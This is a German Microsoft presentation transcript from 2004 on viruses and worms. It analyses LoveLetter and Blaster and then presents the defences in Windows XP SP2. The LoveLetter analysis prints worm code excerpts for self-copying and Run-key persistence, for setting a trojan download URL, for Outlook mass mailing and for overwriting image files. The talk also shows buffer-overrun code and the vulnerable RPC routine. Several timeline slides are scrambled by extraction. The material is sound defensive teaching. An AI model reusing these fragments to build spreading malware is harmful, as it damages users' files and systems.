Viren, Würmer, SP2 Uwe Baumann Dirk Primbs .NET Community Evangelists Microsoft Deutschland GmbH [email protected] [email protected] Sicherheit ist eine der größten und wichtigsten Aufgaben, die unsere Industrie jemals.
Download ReportTranscript Viren, Würmer, SP2 Uwe Baumann Dirk Primbs .NET Community Evangelists Microsoft Deutschland GmbH [email protected] [email protected] Sicherheit ist eine der größten und wichtigsten Aufgaben, die unsere Industrie jemals.
Viren, Würmer, SP2 Uwe Baumann Dirk Primbs .NET Community Evangelists Microsoft Deutschland GmbH [email protected] [email protected] Sicherheit ist eine der größten und wichtigsten Aufgaben, die unsere Industrie jemals angehen musste. Es geht nicht nur darum, einfach ein paar Sicherheitslöcher zu schließen und weiterzumachen. Die negativen Auswirkungen von Viren und Würmern auf ein akzeptables Niveau herunterzuschrauben erfordert ein fundamental neues Denken über Softwarequalität, ständige Verbesserungen bei Tools und Prozessen, und anhaltende Investitionen in widerstandsfähige neue Sicherheitstechnologien, die bösartigen oder zerstörerischen Code blocken, bevor Schaden entsteht [...] Der technologische Fortschritt in den letzten zwei Jahrzehnten ist unglaublich, und ist viel zu wichtig, als daß wir ein paar Kriminellen erlauben dürfen, uns davon abzuhalten, die fantastischen Errungenschaften der Technologie zu genießen. Bill Gates, 31. März 2004 Viren, Würmer, Trojaner Zwei typische Vertreter LoveLetter und Blaster Wurm Inside So funktionieren LoveLetter und Blaster Harte Lektionen Warum konnte das geschehen? Aus Schaden wird man klug Hilfe, mein Code geht nicht mehr! „Kann man das auch ausschalten?“ Love Letter Als die Liebe die Welt regierte Mittwoch, 3. Mai 2000 Donnerstag, 4. Mai Ein neuer Wurm taucht auf. 4:12 Uhr Unter den ersten „Patienten“ Antivirus-Hersteller in Europa Ca. 7:00 Uhr sind Microsoft Deutschland, empfangen die ersten Meldungen von 18:40 Uhr Lucent Technology Europa in Melbourne klickt ein Mitarbeiter des Kunden und beginnen um ca. ... 5:00 Uhr Viele Antivirus-Hersteller machen Credit Suisse „Lonely Planet“ auf und das Wurmmit der Analyse. Es wird Reiseführer-Verlags schnell klar: Virus-Definitionsfiles zum freien Script ist und verschickt den Wurm an 100 Download über das Web Der Wurm, geschrieben in VB Script, Reiseführer-Autoren in der ganzen Welt… nicht sehr kompliziert, aber extrem verfügbar. ansteckend. Dienstag, 9. Mai 16:00 Uhr Virusmeldungen aus aller Welt Der erste Clone taucht auf gehen zurück. Insgesamt sind jetzt („Funny Joke“) 29 Varianten im Umlauf, eine halbe Mittwoch, 4. Mai 2000 Million PCs wurden infiziert. 13:00 Uhr Ab 7 Uhr 7:00 Uhr Der Wurm trifft im Pentagon und bei der CIA … und an der Ostküste der USA klicken Antivirus-Hersteller ein. Das FBI nach nimmt die Ermittlungen auf. Tausende liebeshungrige Büroangestellte Vormittag verschicken die ersten einem frustrierenden Wochenende auf dieInternetproviders Mail Mitarbeiter des philippinischen „Sky Versionen der in derInternet“ Hoffnung auf ein Rendez-Vouz bemerkenan eine Virendefinition ihredrastisch erhöhte Anzahl von Downloads Servern. Der Wurm lädt dort Freitag, 5. Mai Kunden, aberauf esihren ist bereits einensind Trojaner herunter, der Passwörter ausspioniert Mittlerweile weitere zu 9spät denn… und an zwei eMail-Adressen versendet. Der Provider Varianten im Umlauf, getarnt als die betroffenen Server ab. Muttertagsmail und schaltet als Nachricht des Antiviren-Herstellers Symantec Quelle: PCWorld.com Reproduktion Verschickt sich als Attachment an eMailAdressen aus dem Outlook-Addressbuch des Benutzers Verschickt sich über IRC mit Hilfe des DCC Features (Direct Client-to-Client) Aktionen Ersetzt Files mit Kopien des eigenen Codes Startet Download eines Trojaners Verschickt sich selbst über eMail Infiziert (überschreibt) Files Erstellt ein mIRC Script Verändert die Startseite des Internet Explorers Inside LoveLetter Analyse des VBS-Skripts Code: Selbstkopien erstellen Set wscr=CreateObject("WScript.Shell") … Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") … regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" Code: Trojaner downloaden Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~young1s/[…]HJKhjnjbvYT/WINBUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\ Start Page","http://www.skyinet.net/~angelcat/ […]skladjflfd/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~koichi/[…]TRjkcbGRfF/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.skyinet.net/~chu/[…]sdgfhjjgcb/WIN-BUGSFIX.exe" end if Code: Massenmail schicken set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") set a=mapi.AddressLists(ctrlists) x=1 for ctrentries=1 to a.AddressEntries.Count … set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send … x=x+1 next Code: Files infizieren set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.path) ext=lcase(ext) s=lcase(f1.name) … elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) … next Das Ende vom Lied 10 Milliarden US$ Schaden (geschätzt) Unzählige Nachahmer Wahrscheinlicher Autor: Philippinischer Student Motiv: Entweder ein Versehen oder die Rache für eine zurückgewiesene Semesterarbeit Verurteilung des Autors nach damals in den Philippinen geltendem Recht nicht möglich Lektionen aus Love Letter Love Letter vertraute darauf, daß… … der Empfänger Mailattachements öffnet wenn die Email von bekannten Absendern stammt. … der Empfänger ausreichende Rechte hat um von sich selbst Kopien in Systemverzeichnissen zu erstellen. ... Mails vollautomatisch verschickt werden können. Maßnahmen I Hinweismeldungen von OfficeApplikationen, bevor … … VBA-Code ausgeführt wird. … Scripts ausgeführt werden. … Outlook automatisiert werden kann. Maßnahmen II Neue Sicherheitsoptionen für die Preview Pane in Outlook Ausführbare Attachements werden blockiert: Mail-Previews laufen in der „Restricted Sites“ Internet Zone Windows XP Service Pack 2 Neue Mail-Preview für Outlook Express Zone „Local Machine“ restriktiver vorkonfiguriert Neue zentrale API zum Handling von Attachements: Attachement Execution Services (AES) Schnittstelle IAttachementExecute Zentralisiert die Risiko-Abschätzung Steuerbar über Group Policies Bitte wenden Sie sich an Ihren Administrator Als Nicht-Administrator wäre es Love Letter nicht möglich gewesen, … … sich in HKLM\…\Run einzutragen. … in ein Systemverzeichnis zu schreiben. … Betriebssystembestandteile auszutauschen. Ein Tag im Leben eines Nicht-Administrators Das Security Problem Software Security Pendel Marketing Mode Usability & Features Security & Privacy Einfache Benutzung “Automagic” Alle Features sind ON by default Große Angriffsfläche Out Of The Box Experience Features Attacks Das Security Problem Software Security Pendel Paranoid Mode Usability & Features Security & Privacy Geringe “connectivity” Viele Sicherheitsdialoge Minimierte Angriffsfläche Oft schwerer zu benutzen Nur schwer zu vermarkten Das Security Problem Software Security Pendel Optimum Usability & Features Security & Privacy Kleinere Angriffsfläche Weniger SicherheitsDialoge Transparente Einstellung Konfigurierbar Sicher handhabbar! Security & Privacy als Feature für den Anwender Blaster Mach mal Pause! Reproduktion Wurmcode lädt EXE-Datei „MSBLAST.EXE“ von angreifendem, bereits infizierten System und führt diese lokal aus Die EXE-Datei scannt weitere Systeme und infiziert diese mit dem Wurmcode Aktionen Startet Denial-of-Service Angriff auf http://www.windowsupdate.com Bringt Computer zum Absturz (als Nebeneffekt) Inside Blaster Grundlagen: Buffer Overrun Analyse der angreifbaren Stelle im Windows-Sourcecode Buffer Overrun: Das Prinzip [1] void main() { char myLongBuffer[256]; myFunction(myBuffer); } void myFunction(char *myString) { char myShortBuffer[16]; strcpy(myShortBuffer, myString); } Was passiert, wenn der übergebene String größer als 16 Zeichen ist? Buffer Overrun: Das Prinzip [2] MyShortBuffer void myFunction(char *myString) { char myShortBuffer[16]; strcpy(myShortBuffer, myString); } „Böser“ Inhalt von MyShortBuffer: Viruscode Gehackte Adresse Rücksprungadresse Gehackte Adresse MyLongBuffer Stack Daten sind zuan lang ! Rücksprung gehackte Adresse… Sonstige Daten 16 256 (bisheriger Stackinhalt) 256 Strings Stack void main() { char myLongBuffer[256]; myFunction(myLongBuffer); } Code: Blasters Angriffsziel Port 135 (Z.B. aus dem Internet) error_status_t _RemoteActivation(WCHAR *pwszObjectName, ... ) *phr = GetServerPath(pwszObjectName, &pwszObjectName); … } HRESULT GetServerPath(WCHAR *pwszPath, WCHAR **pwszServerPath ){ WCHAR * pwszFinalPath = pwszPath; WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]; hr = GetMachineName(pwszPath, wszMachineName); *pwszServerPath = pwszFinalPath; } HRESULT GetMachineName( WCHAR * pwszPath, WCHAR wszMachineName[MAX_COMPUTERNAME_LENGTH_FQDN + 1]) { pwszServerName = wszMachineName; LPWSTR pwszTemp = pwszPath + 2; while ( *pwszTemp != L'\\' ) *pwszServerName++ = *pwszTemp++; !!! { Ist das wirklich so einfach? Ausnützen der Sicherheitslöcher ist nicht trivial! Analyse der Verwundbarkeit Sourcecode liegt (oft) nicht vor Virenbaukästen („Kits“) helfen beim Bau einfacher Viren und Trojaner, aber… Exploits werden immer schwieriger Extrem detaillierte Kentnisse sind notwendig Unmöglich ohne viel Zeit und Wissen Sorgen eines Hackers Sprungadresse zu eigenem Code finden „NOP-Sledge“ oder gutes Raten DLL-Funktionen aufrufen DLL-Basisadresse? Funktions-Einsprungpunkt? Prozeß abspalten Keine native Win32-Funktion verfügbar Platz für Literale ( z.B. Funktionsnamen) Hashing notwendig Keine Null im Code erlaubt Decoder-Stub nötig Grrr! Das Ende vom Lied 5-10 Millionen US$ Schaden 8 Millionen infizierte Computer Autor immer noch nicht bekannt Einige Nachahmer vor Gericht Lektionen aus Blaster Blaster nutzte eine Sicherheitslücke im Betriebssystem aus Aktivierte Firewalls hätten Blaster im Vorfeld verhindert, aber… … schafft es Blaster in ein Unternehmensnetzwerk, helfen nur noch Personal Firewalls auf den einzelnen Systemen Zum Zeitpunkt der Verbreitung von Blaster gab es bereits seit nahezu einem Monat einen Patch, der aber nicht rechtzeitig eingespielt worden war Maßnahmen gegen BOs Bestimmte C/C++ Kommandos sind besonders anfällig strcpy, gets, scanf, sprintf, strcat, … BOs werden in Managed Code durch Laufzeitchecks verhindert. Compilerswitch /GC aktiviert in Visual C/C++ verbessertes Stackhandling Nutzloses Wissen Special Bergarbeiter mit Kanarienvogel (Welsh Miner‘s Canary) Prinzip: Vogel tot = zuviel Methangas Quelle: West Virginia Office of Miners’ Health, Safety and Training Compilerswitch /GC MyShortBuffer Security Cookie MyShortBuffer Prolog: Alloziiert Speicher auf dem Stack für lokale Variablen und speichert Zufallswert für lokale Variablen für Security Cookie (Canary) ab Epilog: Prüft Security durch Cookie (Canary) Führt den Rücksprung und führt anchließend Rücksprung durch add esp,20h mov ret ecx,dword ptr [esp+20h] xor ecx,dword ptr [esp+24h] add esp,24h jmp __security_check_cookie (4010B2h) 16 Rücksprungadresse sub esp,20h MyLongBuffer Stack sub esp,24h mov eax,dword ptr [___security_cookie (408040h)] xor eax,dword ptr [esp+24h] mov dword ptr [esp+20h],eax Strings Stack void myFunction(char *myString) { char myShortBuffer[16]; strcpy(myShortBuffer, myString); } (bisheriger Stackinhalt) 256 Vertrauen ist gut, Kontrolle ist besser Patchmanagement Definition: Patch Patches beheben gefundene Security Vulnerabilities werden von Microsoft in SicherheitsBulletins veröffentlicht (z.B. MS03-47) Patches werden in Rollup-Packages und Service Packs zusammengefasst Vulnerabilities werden von Microsoft in 4 Schweregrade eingeteilt Patchmanagement Enstehung des Blaster Wurms 1. Juli 03 Schwachstelle entdeckt / Start der Patchentwicklung 16. Juli 03 25. Juli 03 Bulletin & Patch Verfügbar Bisher kein Angriff Angriffs-Code wird veröffentlicht 11. August 03 Wurm infiziert die Welt Report Bulletin Exploit Worm Schwachstelle in MS03-026 wir an X-focus (Chinesische Blaster Wurm entdeckt RPC/DDOM aufgedeckt MS startet den höchsten Notfallprozess Level Kunden ausgeliefert Kontinuierliche Kommunikation mit Analysten, Presse, Community, Partner, Regierungsbehörden Security-Spezialisten) Varianten und andere veröffentlicht AngriffsViren schlagen Tool gemeinsam zu (z.B. MS maximiert die “SoBig”) Anstrengungen, alle Kunden zu informieren Blaster zeigt das komplexe Zusammenspiel zwischen Sicherheitsforschung, Softwarehersteller und Hackern Patchmanagement Reaktionszeit Tage zwischen Patch und Angriff 331 180 151 25 Zeitspanne zwischen erscheinen des Patches und Auftreten eines Exploits sinkt Exploits werden intelligenter Ansatz Patch Management reicht nicht Neue Techniken müssen entwickelt werden Windows XP SP2 Verbessertes Patchmanagement Automatische zeitgesteuerte Installation Priorisierung beim Patch-Download Reduzierte Patch-Größe mit Delta-Patching Gleiche Scanning-Engine für alle Tools “hot patching” Technologie Reduzierte Anzahl von Reboots Restart Explorer und einige SVCHOST Prozesse an statt kompletten Reboot Windows XP SP2 Execution Protection (no-execute, NX) Speicher wird als Datenspeicher markiert Der Versuch, im NX-Bereich Code auszuführen führt zu einer Exception Muß von Hardware unterstützt werden Internet Connection Firewall Ab SP2 ist die ICF “ON by default” Boot time protection Verbesserte Konfigurationsmöglichkeiten Group Policy, Kommandozeile Verbesserte Benutzeroberfläche Programmatisch: INetFwV4AuthorizedApplication, INetFwV4AuthorizedApplications, INetFwV4Mgr, INetFwV4Policy, INetFwV4Profile Internet Connection Firewall II Drei Betriebsmodi Aktiviert (Standard) Alle eingehende Verbindungen werden blockiert, Ausnahme: Für in einer „White List“ erfasste Programme werden Ports bei Bedarf geöffnet Aktiviert - keine Ausnahmen „Shielded Mode“, es werden keine eingehenden Verbindungen zugelassen Deaktiviert Windows XP SP2 – Weitere Änderungen Unterbindung von anonymen RPC-Aufrufen Neuer Registry-Key steuert das Verhalten: \\HKLM\SOFTWARE\Policies\Microsoft\Windows NT\RPC\RestrictRemoteClients RPC_RESTRICT_REMOTE_CLIENT_NONE (0) – bisheriges Verhalten RPC_RESTRICT_REMOTE_CLIENT_DEFAULT (1) – Anonyme Zugriffe werden zurückgewiesen. Standarteinstellung RPC_RESTRICT_REMOTE_CLIENT_HIGH (2) – genauso wie zuvor, mit der Ausnahme, daß das RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag keine Wirkung mehr hat. DCOM: Globale Konfiguration von Zugriffsrechten Die meisten lokalen Szenarien funktionieren ohne Änderung Remote: Nur Administratoren haben by default das Recht Applikationen zu aktivieren (Activation) und zu starten (Launch) Was tun, wenn nichts mehr geht? “Security is designed to make your system not work” (Michael Howard) Fazit Viele Viren benutzen einfache Mechanismen um sich zu Systemen Zugang zu verschaffen Durch gezielte Maßnahmen kann die Anfälligkeit einer Applikation bzw. eines Systems deutlich gesenkt werden © 2004 Microsoft Corporation. All rights reserved. This presentation is for informational purposes only. Microsoft makes no warranties, express or implied, in this summary. Referenzen Marshall Brain: “How Stuff Works: Computer Viruses” http://www.howstuffworks.com/virus.htm Ulf Larson: „VBS.LoveLetter: A Study of the LoveLetter worm“ http://www.ce.chalmers.se/undergraduate/ D/EDA261/03/oh03/oh_F05_loveletter_4pp. pdf Referenzen Slipstick Systems : „Protecting Microsoft Outlook against Viruses“ http://www.slipstick.com/outlook/antivirus. htm Bill Gates: „Microsoft Progress Report: Security“ http://www.microsoft.com/mscorp/execmai l/2004/03-31security-print.asp Referenzen PC World: "When Love Came to Town: A Virus Investigation“ http://www.pcworld.com/news/article/0,aid ,33392,00.asp XP Service Pack 2 for Developers http://msdn.microsoft.com/security/produc tinfo/xpsp2/default.aspx Referenzen Microsoft Developer Security Center http://msdn.microsoft.com/security/ Microsoft Security Center http://www.microsoft.com/security/ Compiler Security Checks in Depth http://msdn.microsoft.com/library/enus/dv_vstechart/html/vctchcompilersecurity checksindepth.asp Referenzen Microsoft Baseline Security Analyzer http://www.microsoft.com/technet/security /tools/mbsahome.mspx Microsoft Compatibility Toolkit (Application Verifier) http://www.microsoft.com/downloads/deta ils.aspx?FamilyID=7fc46855-b8a4-46cda236-3159970fde94&displaylang=en fxCop http://www.gotdotnet.com/team/fxcop/ Referenzen Developing Software with NonAdministrative privileges http://msdn.microsoft.com/library/enus/dv_vstechart/html/tchdevelopingsoftwar einvisualstudionetwithnonadministrativeprivileges.asp West Virginia Office for Mine Safety: Historic Photos http://www.wvminesafety.org/histphoto.ht ml